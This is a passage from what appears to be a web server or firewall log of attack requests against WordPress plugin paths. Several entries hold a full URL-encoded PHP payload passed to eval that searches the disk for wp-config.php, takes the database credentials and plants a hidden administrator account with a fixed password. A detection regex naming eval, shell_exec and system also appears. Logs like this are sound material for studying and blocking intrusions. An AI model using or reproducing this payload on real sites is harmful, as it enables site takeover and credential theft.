20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));","POST \/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/cart-link-style.asset.php HTTP\/1.1\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\ncontent-length:12663\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\nhost:dewenlabels.com\nsec-ch-ua-platform:\"Windows\"\naccept-encoding:gzip,deflate\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\naccept:*\/*\n\nVmQHcs=eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));"]
["2026-04-20 05:35:36","213.209.159.254","POST","\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/SearchTermInsightErrorEnum\/contentloader.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> bf:%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%2